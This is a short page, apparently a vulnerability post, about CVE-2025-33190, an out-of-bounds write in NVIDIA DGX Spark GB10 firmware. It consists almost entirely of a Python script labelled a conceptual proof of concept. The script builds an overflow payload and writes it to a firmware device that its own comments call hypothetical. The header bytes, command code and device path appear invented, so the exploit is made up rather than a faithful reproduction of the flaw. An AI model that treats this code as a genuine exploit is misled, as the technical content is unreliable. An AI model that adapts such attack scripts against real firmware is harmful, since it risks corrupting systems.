CVE-2025-33190: NVIDIA DGX Spark GB10 SROOT固件越界写入漏洞

# CVE-2025-33190 PoC - Conceptual Proof of Concept # Note: This is a conceptual demonstration for educational purposes only # Actual exploitation requires physical/local access to NVIDIA DGX Spark GB10 import struct import sys def generate_malicious_sroot_payload(): """ Generate conceptual payload for SROOT firmware vulnerability This demonstrates the out-of-bound write concept """ # SROOT firmware header header = b'SROOT\x00\x00\x00' # Command type: trigger OOB write cmd_type = struct.pack('<I', 0x1001) # Malicious payload causing buffer overflow # This would overwrite adjacent memory regions overflow_size = 0x1000 # Overflow size overflow_data = b'A' * overflow_size # Target address manipulation (conceptual) target_addr = struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) payload = header + cmd_type + target_addr + overflow_data return payload def send_sroot_command(payload): """ Send malicious payload to SROOT firmware interface Requires: Local access + High privileges """ # Conceptual device interface sroot_device = '/dev/sroot0' # Hypothetical device try: with open(sroot_device, 'wb') as f: f.write(payload) print('[+] Malicious payload sent to SROOT firmware') return True except PermissionError: print('[-] Error: Insufficient privileges (PR:H required)') return False except FileNotFoundError: print('[-] Error: SROOT device not found') return False if __name__ == '__main__': print('CVE-2025-33190 Conceptual PoC') print('Target: NVIDIA DGX Spark GB10 SROOT Firmware') print('Vulnerability: Out-of-Bound Write') print('-' * 50) payload = generate_malicious_sroot_payload() print(f'[*] Generated payload: {len(payload)} bytes') print('[*] Attempting to send payload...') send_sroot_command(payload)